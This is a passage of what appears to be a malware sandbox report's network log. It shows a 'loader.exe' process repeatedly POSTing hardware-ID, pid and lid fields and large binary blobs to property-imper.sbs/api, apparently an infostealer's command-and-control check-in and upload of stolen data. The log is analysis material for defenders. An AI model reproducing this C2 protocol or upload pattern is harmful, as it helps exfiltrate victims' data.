2024-11-23 13:09:29 UTC	2795	OUT	Data Raw: c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-11-23 13:09:30 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ot9tcmnvtl22t857jpp3fu5gs; expires=Wed, 19-Mar-2025 06:56:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bfx4pGXAsZKBlq%2BeMOngdZDCT9rl5jQp7ufRm5PqvimhFy4VfoQ34E1Nz2KskLG3B5ej%2FhnswdCj1pNHw1p2bTkrjGKvoJGZOdsz9dTRVtHVQuJsCo6RuouMnOWsrYHnva9l620%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7164deec4b42f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1688&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19083&delivery_rate=1687861&cwnd=171&unsent_bytes=0&cid=d7cd0c309686544e&ts=868&x=0"
2024-11-23 13:09:30 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:09:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:32 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5LJLIKW958 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8741 Host: property-imper.sbs
2024-11-23 13:09:32 UTC	8741	OUT	Data Raw: 2d 2d 35 4c 4a 4c 49 4b 57 39 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 44 45 31 33 38 37 31 38 45 33 45 41 35 43 30 30 41 38 32 30 41 41 38 35 44 32 36 41 37 43 0d 0a 2d 2d 35 4c 4a 4c 49 4b 57 39 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 4c 4a 4c 49 4b 57 39 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 30 36 37 38 33 38 38 34 37 0d 0a 2d 2d 35 4c 4a 4c 49 4b 57 39 35 38 0d 0a 43 6f 6e Data Ascii: --5LJLIKW958Content-Disposition: form-data; name="hwid"16DE138718E3EA5C00A820AA85D26A7C--5LJLIKW958Content-Disposition: form-data; name="pid"2--5LJLIKW958Content-Disposition: form-data; name="lid"yau6Na--5067838847--5LJLIKW958Con
2024-11-23 13:09:32 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0fah15a6a5dieh8t24e8qvmf24; expires=Wed, 19-Mar-2025 06:56:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IJXRsWXzVsoxOsOrRnszGwaKDKuIZHR3OHW%2FI9XyznfK62RcEOHI3GYdvj2TOPN0nhZpeBeUdgcnUvGX9FIvcXYNE%2Fp2YH0MyXfM7o4iU7KbIGZn8Q1R8AF5vwmgPsqmtP%2Fivds%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7164ecea145e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1713&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9674&delivery_rate=1678160&cwnd=214&unsent_bytes=0&cid=08a9c756d661fdfd&ts=728&x=0"
2024-11-23 13:09:32 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:09:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:34 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2XZROZJ1G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20388 Host: property-imper.sbs
2024-11-23 13:09:34 UTC	15331	OUT	Data Raw: 2d 2d 32 58 5a 52 4f 5a 4a 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 44 45 31 33 38 37 31 38 45 33 45 41 35 43 30 30 41 38 32 30 41 41 38 35 44 32 36 41 37 43 0d 0a 2d 2d 32 58 5a 52 4f 5a 4a 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 58 5a 52 4f 5a 4a 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 30 36 37 38 33 38 38 34 37 0d 0a 2d 2d 32 58 5a 52 4f 5a 4a 31 47 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --2XZROZJ1GContent-Disposition: form-data; name="hwid"16DE138718E3EA5C00A820AA85D26A7C--2XZROZJ1GContent-Disposition: form-data; name="pid"3--2XZROZJ1GContent-Disposition: form-data; name="lid"yau6Na--5067838847--2XZROZJ1GContent
2024-11-23 13:09:34 UTC	5057	OUT	Data Raw: 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c Data Ascii: lrQMn 64F6(X&7~`aO@dR<
2024-11-23 13:09:35 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ve7j3hva00pk20uj2k2vcrfs3; expires=Wed, 19-Mar-2025 06:56:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZYhQHNIen306kXdqadG2Ihpad67bK5lRg9bDi3DDXS5fZ2R789QZup1gMxFC%2F9jMxzcVv0Eqt80i1G%2Bq%2FFVgL1D68g4xzO8V5S7WvzFBDHKMeTzb4K%2FagoOg1PohFngq%2B0mWWWs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7164fb4a3b8c0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21343&delivery_rate=1580942&cwnd=206&unsent_bytes=0&cid=05135540dd958e1e&ts=898&x=0"
2024-11-23 13:09:35 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:09:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:36 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8DOWMO1PBPZJPZ3O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1251 Host: property-imper.sbs
2024-11-23 13:09:36 UTC	1251	OUT	Data Raw: 2d 2d 38 44 4f 57 4d 4f 31 50 42 50 5a 4a 50 5a 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 44 45 31 33 38 37 31 38 45 33 45 41 35 43 30 30 41 38 32 30 41 41 38 35 44 32 36 41 37 43 0d 0a 2d 2d 38 44 4f 57 4d 4f 31 50 42 50 5a 4a 50 5a 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 44 4f 57 4d 4f 31 50 42 50 5a 4a 50 5a 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 30 36 37 38 33 38 38 34 37 0d Data Ascii: --8DOWMO1PBPZJPZ3OContent-Disposition: form-data; name="hwid"16DE138718E3EA5C00A820AA85D26A7C--8DOWMO1PBPZJPZ3OContent-Disposition: form-data; name="pid"1--8DOWMO1PBPZJPZ3OContent-Disposition: form-data; name="lid"yau6Na--5067838847
2024-11-23 13:09:37 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4dm75t5ki0lcgq8h19u5e1c1uu; expires=Wed, 19-Mar-2025 06:56:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iqxn02xzerb5eEqoji0JcEfLpEp1sKUCvM2aGbhe9X3GAnpHg0jcoR98STJrr9VoXcjreJg61szDFNkGq%2ByxHx2Hzy76k8eMN%2FedVCvXfAjt6C7NE%2FiMUveAbsqIbhhQNT46Ee0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71650b393e4204-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2168&delivery_rate=1659090&cwnd=247&unsent_bytes=0&cid=f3b7071fddf37ceb&ts=712&x=0"
2024-11-23 13:09:37 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:09:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:39 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C2USC44DK4GFZQ6J4BR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 582608 Host: property-imper.sbs
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: 2d 2d 43 32 55 53 43 34 34 44 4b 34 47 46 5a 51 36 4a 34 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 44 45 31 33 38 37 31 38 45 33 45 41 35 43 30 30 41 38 32 30 41 41 38 35 44 32 36 41 37 43 0d 0a 2d 2d 43 32 55 53 43 34 34 44 4b 34 47 46 5a 51 36 4a 34 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 32 55 53 43 34 34 44 4b 34 47 46 5a 51 36 4a 34 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 30 Data Ascii: --C2USC44DK4GFZQ6J4BRContent-Disposition: form-data; name="hwid"16DE138718E3EA5C00A820AA85D26A7C--C2USC44DK4GFZQ6J4BRContent-Disposition: form-data; name="pid"1--C2USC44DK4GFZQ6J4BRContent-Disposition: form-data; name="lid"yau6Na--50
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: cd 8c 67 68 55 e2 f1 7b 80 a4 f7 ce bb 8a 76 7e 1f b0 d3 50 bd 33 1e b1 d0 d0 82 c5 83 94 47 11 9c a3 ff 45 bc 04 4c 4b 21 b0 0f f7 51 25 01 2a f0 04 94 3f 0f 76 1c d1 38 0c de 49 37 6e a6 82 53 11 36 cf ac 67 39 fc e6 12 40 76 61 f1 ed ff b7 32 52 0a c8 4e 6b 01 04 90 5c 08 c9 b3 0e a0 dc 1f 4d c3 68 20 1c 8b 64 32 a0 c4 9e fd 3e 10 0d a8 5f ac 9e 7f 53 24 2f 8e a8 8b 1e b5 03 85 02 38 c4 96 ed fa e5 da fd 14 a2 69 c6 1a d8 5a 2b 8c 36 ba 49 78 01 1e 7e 62 5b 23 d5 53 c0 6e 30 5c d3 95 9c f5 5e a8 1c ad 8d 4b 95 a0 d2 46 3e ec fc 7c c3 39 7e df 38 38 5e c9 ba a0 1d 77 fa 58 46 93 9f 2a e8 78 42 0d 7e a7 5a a7 22 16 b1 65 e5 ba b3 34 68 d7 bc 5d d8 8d 36 3e 11 d6 bc 50 ad ec d6 e2 c8 8f c6 63 24 4b 40 5b a4 91 79 98 9f 7c 06 1d 93 77 93 68 05 11 1d 42 40 Data Ascii: ghU{v~P3GELK!Q%?v8I7nS6g9@va2RNk\Mh d2>_S$/8iZ+6Ix~b[#Sn0\^KF>\|9~88^wXFxB~Z"e4h]6>Pc$K@[y\|whB@
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: cc d0 55 eb 92 ba 73 1c 0f 2e af d6 fd 48 b2 93 2d b7 16 b9 26 17 f6 e0 45 92 39 8b b1 89 1e 50 6a 9b fd 3e 81 fa c1 9b 93 48 ba 8a 04 4d 21 71 cd ff 08 e9 ed d8 31 eb 2e c3 9a 9a d2 a7 63 e5 c7 6a e3 c1 4a 2a 99 30 2a 3d 92 6e 1e 2c 73 12 de 30 8a 34 4f 20 f8 e0 88 18 e6 31 e7 c7 1b c7 e7 a2 0e b7 99 c3 41 74 c3 b8 b5 1f d8 38 1f bf 2d ef 21 05 07 6a 9f e8 69 3b 37 99 30 bf fd c4 85 91 a7 31 c4 3e 01 7b 1f 7e fa 9b c3 5b 19 3e 56 93 3b 23 46 af ac ad 22 9c 04 f0 87 d8 59 92 3b 67 74 9e 3c d5 47 bc b4 a9 a1 e2 e2 ad 8e de 6c 41 93 c1 3b ae 48 f8 f6 43 3b e7 97 02 96 98 72 92 5a ba f6 58 8b 6b c7 cc fc 45 8c 67 bf 5d 49 7a 25 8f 89 de 5d f6 fc 89 45 dc c6 d9 85 4f fa 0d 73 c6 4d 09 d8 96 4f e0 b9 78 04 a1 47 78 4a f3 ab bb e2 8b fa ca 1e c3 7a 33 83 02 d8 Data Ascii: Us.H-&E9Pj>HM!q1.cjJ0=n,s04O 1At8-!ji;701>{~[>V;#F"Y;gt<GlA;HC;rZXkEg]Iz%]EOsMOxGxJz3
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: f8 bf 4d 3d 67 47 e5 c7 5a 59 ee 40 f9 36 53 fd d0 7f 27 57 17 93 a9 68 b2 06 db a9 77 b4 a6 9a af 0a e1 67 12 52 52 1a 04 e2 2b 14 ee e3 2f 0f 66 ea 5a 07 b1 a4 86 6e 33 43 95 01 5f f6 ba bd 07 ef 39 5e fd 61 e5 ac ec c0 53 f6 c6 fe d4 12 08 1c 41 78 f1 80 e5 ea f0 47 7f 0f 0b 1b f0 d7 8f b7 40 3f 2a 1b 1d 70 ab 8e 84 db 23 9d 44 9b c9 01 de 25 d5 04 54 5c 65 08 73 a8 ee 71 07 fc e4 0d f4 b3 bb 8e 62 bc 13 7c 94 3d 7b 2b be e6 9e bc 0e 56 3a 85 ce 4f 2f 05 30 ed e2 0f eb 55 8c f4 9c 1d 6f 19 5d 34 6b 1f 69 da 01 98 11 bf 47 82 c8 8b 6d 75 87 0c 70 a3 2b bb d6 5b 39 8d 65 21 c0 f0 b6 f7 29 f9 45 bf 7a 77 f4 a2 16 b7 4f 3d 98 bb fc aa 3e 38 7e 90 a8 8a 6f b0 e2 f9 38 5f c6 62 2b 5c 7e 5d 4c 88 f0 89 ba e7 30 6e 70 0c 68 2b 06 f0 bb 3e 91 a5 c8 7c c3 d5 c9 Data Ascii: M=gGZY@6S'WhwgRR+/fZn3C_9^aSAxG@?*p#D%T\esqb\|={+V:O/0Uo]4kiGmup+[9e!)EzwO=>8~o8_b+\~]L0nph+>\|
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: 73 d1 64 7f 47 07 19 d2 fe df c2 fe ff ef 37 01 31 30 d1 01 97 46 80 8c 19 21 42 10 b8 89 d0 46 00 bd f3 c3 19 78 24 39 86 24 c9 85 62 a6 57 78 b8 5d 01 56 91 2e 68 00 5b 13 da 88 ed 41 83 32 64 45 1e 3e 46 2d e5 bb f3 f0 78 7b 73 6c f2 41 75 94 ea 97 d3 a3 99 a6 e1 26 c0 0a 72 92 00 7c 1d 82 dd 21 c5 de a0 20 a3 f2 c7 63 72 17 bf 79 4e 6e 47 2d 08 94 fb 92 fb d0 79 56 f8 4f b0 9f 18 b0 9a 44 ac 24 7a b2 0d dc 4e 09 73 99 c6 68 3d f6 86 5d d7 af 40 03 61 c6 f4 20 ee 49 04 65 a7 55 d3 99 17 40 5b d7 33 2a 5b ee 61 ad ae 44 29 06 d1 85 d6 ce 93 c3 1f ef 79 a2 7d c3 a2 c8 18 ef bd 5a a6 86 c1 76 c2 0c 83 b8 67 e6 70 8e 6d ed 22 67 f6 85 0d 4c 59 e4 c4 c5 17 52 37 ac 8b 5a 4f 18 14 82 94 83 fb 95 77 ac 72 b8 0e d1 f8 c2 f5 32 27 cd 8a 72 53 3a 3b 98 16 72 b2 Data Ascii: sdG710F!BFx$9$bWx]V.h[A2dE>F-x{slAu&r\|! cryNnG-yVOD$zNsh=]@a IeU@[3*[aD)y}Zvgpm"gLYR7ZOwr2'rS:;r
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: 21 2e 3c e3 ef b4 48 15 a0 88 6f 7f 82 84 5a d1 c1 84 75 d1 65 1f c3 4c 4f c9 d5 1b 35 c3 8f 2e 5f dd dc 07 2e ab a4 34 51 1a a1 68 fb 75 5c 56 26 74 2b f4 55 a5 d9 9c 7f 73 7d f8 4c a0 e4 fa 9f 4f d5 2d 1e 14 fd 03 a4 12 0b 27 03 d7 1e f8 ed 29 73 87 30 5b e9 1d 28 78 bf ea 6e 8b f9 ce fd 60 c4 c0 01 c6 c0 98 c8 e0 99 aa 84 99 45 9d 76 f9 d3 c4 86 e2 ac 75 da 86 9c dd 62 84 7f d3 86 fb 4d 8e b0 3a a1 ab 38 53 08 6e 6e 5a 29 fe c7 51 86 2b 60 c4 f8 b4 93 b8 76 cf a7 65 1f 66 44 b6 da 7c c2 b4 e1 90 9b a2 e2 a0 a3 5b 93 82 b3 9c 2b c6 58 73 d5 fd 94 a1 0a 66 d9 97 9b a0 d1 12 61 f4 64 fd 6b 88 26 a8 94 8a 78 7d 1b 05 2e 8d 2a 70 d0 6b 0a 24 e6 20 16 cc e1 d1 8c 1f 1f be 76 66 1c 6f d5 0b 34 ed e9 74 7c 80 a2 d4 c1 f7 2f c2 95 0a f4 46 23 8a 04 fa 84 54 1c Data Ascii: !.<HoZueLO5._.4Qhu\V&t+Us}LO-')s0[(xn`EvubM:8SnnZ)Q+`vefD\|[+Xsfadk&x}.*pk$ vfo4t\|/F#T
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: bc 0a 34 af 2e 1d bd ba d9 8a 70 35 6a fe 3e 80 91 ac 73 44 f3 f7 8f f5 c5 46 27 dd 29 9e e7 24 1c b0 78 79 a6 0e 04 c0 81 70 b0 07 74 21 2e 27 b3 f9 51 64 cb 44 8e 3b 1c ce 12 6c de 1f ed 92 fa 18 16 0a 29 1f 93 8a ac da 9e 65 16 11 ec 9d 44 4e 72 15 5b bd a6 6f d3 bc 71 7b 48 12 3c 67 a3 5f 2a 10 7b 68 fb 4a 40 73 1c 97 13 88 01 83 6c 74 57 4f 55 48 e0 f2 b8 c6 b3 e7 64 ce 74 73 36 99 3d f2 7c cf 4c 77 e9 f7 b4 cd 0c da 56 27 3a 96 36 b0 3e c6 3d fc 26 74 ab 9f 1f 44 5f 0f 9c 56 3d bf 0f 7c 0a f3 b2 26 54 72 2f 01 d6 4f 81 1b 6f f9 c1 ac 07 0e f4 4b 73 f9 9a 7b 59 4e a8 31 af 15 d2 7c 0b 0a 26 df 90 6a bf 5c aa c7 29 2e af dc ad 7c 9f ef 7a c1 46 c7 03 0c 9c ba 66 3a 8e 3c 24 0b 4e b3 d7 30 41 2c 59 58 3a 0d 89 fb f7 a3 b6 5b 86 58 3d ab fa 9a 77 cb fd Data Ascii: 4.p5j>sDF')$xypt!.'QdD;l)eDNr[oq{H<g_*{hJ@sltWOUHdts6=\|LwV':6>=&tD_V=\|&Tr/OoKs{YN1\|&j\).\|zFf:<$N0A,YX:[X=w
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: 54 07 19 38 76 fa 39 f5 ec 62 f2 3c f6 6a bf b3 67 60 df 07 70 ab 42 6c b9 25 bf 8a be d5 b8 7e ea a3 4a ff 59 36 df fb ed fb 01 65 1f 4b 7e 3e 58 ff b2 72 b0 b1 68 d8 29 4a b5 c2 f1 f7 9c e8 03 06 e2 50 55 52 9b 6e 43 6d 4c 4d 00 4d 88 b4 b5 16 b2 4a 72 d4 9b ca 59 08 42 d2 b1 e2 0b c9 9b c2 51 ef 89 ca f4 d6 1e 28 42 37 68 c2 b8 df d9 b9 e3 48 c5 c9 7d b5 1b 81 df 96 fc 5c 03 76 11 3e 48 ff 5d c3 b7 74 d1 d6 28 b9 a0 7a 29 05 71 7c 76 b3 1e d1 34 39 cf eb 90 0c ff 23 7b d4 9a 07 1c f5 9d 1c 7f 2e ac d0 be 79 2a f6 08 6d 89 7f 79 79 6a c5 57 25 4c 4c d6 ee 53 fa f0 cc 34 92 3f 2e 29 7b ab ed 70 84 34 9b 5f 1a ce 9b 0d ae b6 5d b3 6d 16 01 d7 02 c4 6b bc c1 3b 10 3c f8 a9 67 bc 8d ac 0d 08 82 8d f5 03 e9 db cd e2 a2 43 9f a1 7d 72 de 01 4b e0 ed 4a 5a f9 Data Ascii: T8v9b<jg`pBl%~JY6eK~>Xrh)JPURnCmLMMJrYBQ(B7hH}\v>H]t(z)q\|v49#{.y*myyjW%LLS4?.){p4_]mk;<gC}rKJZ
2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: 9c b4 29 cf d4 0a 1f 9e c1 fc e7 18 51 8f 85 7f ef 0c 57 09 31 b7 84 30 9d ba b0 e4 f6 5e a5 86 a7 a5 db 67 50 b4 24 a7 83 d8 3d a8 e2 56 92 b4 85 60 f5 90 9c 26 e7 be bb fa 31 2c d6 26 e7 b4 73 f9 a6 08 f6 aa 73 f9 80 36 0a b9 f6 42 54 62 5a 67 3f ff ca 8d 2a b0 e5 d7 2a d7 45 98 c8 62 a9 b1 fe c3 0a de 9a 0b 5c 0f 4e 95 ca c9 27 d7 91 66 14 d7 5d 77 63 21 e2 3d f2 87 01 9c 45 ba 39 17 d9 9b af 7d 52 93 1b 64 39 e1 b7 19 9c 7a c9 39 d3 38 f4 cf ad 18 c3 7a 56 de 12 48 2a e4 c2 16 60 5c be 3d 63 40 8e 0e 07 c1 71 9b d7 87 63 4c 8c 01 99 6e a4 87 de 9a a9 a1 b6 89 df ca c9 54 d3 61 9f 69 24 1a 4c 18 90 f5 10 b7 4e 0d 99 8a cb 87 bf 6c 15 1f 8b ab 0d 37 43 75 97 6f 61 31 3d b8 af 11 49 5f 6b 8b 68 1f 9b 0f e0 d7 c0 c6 e4 9a 6b 71 f2 6c cd 79 0d 84 ab 15 55 Data Ascii: )QW10^gP$=V`&1,&ss6BTbZg?*Eb\N'f]wc!=E9}Rd9z98zVH`\=c@qcLnTai$LNl7Cuoa1=I_khkqlyU
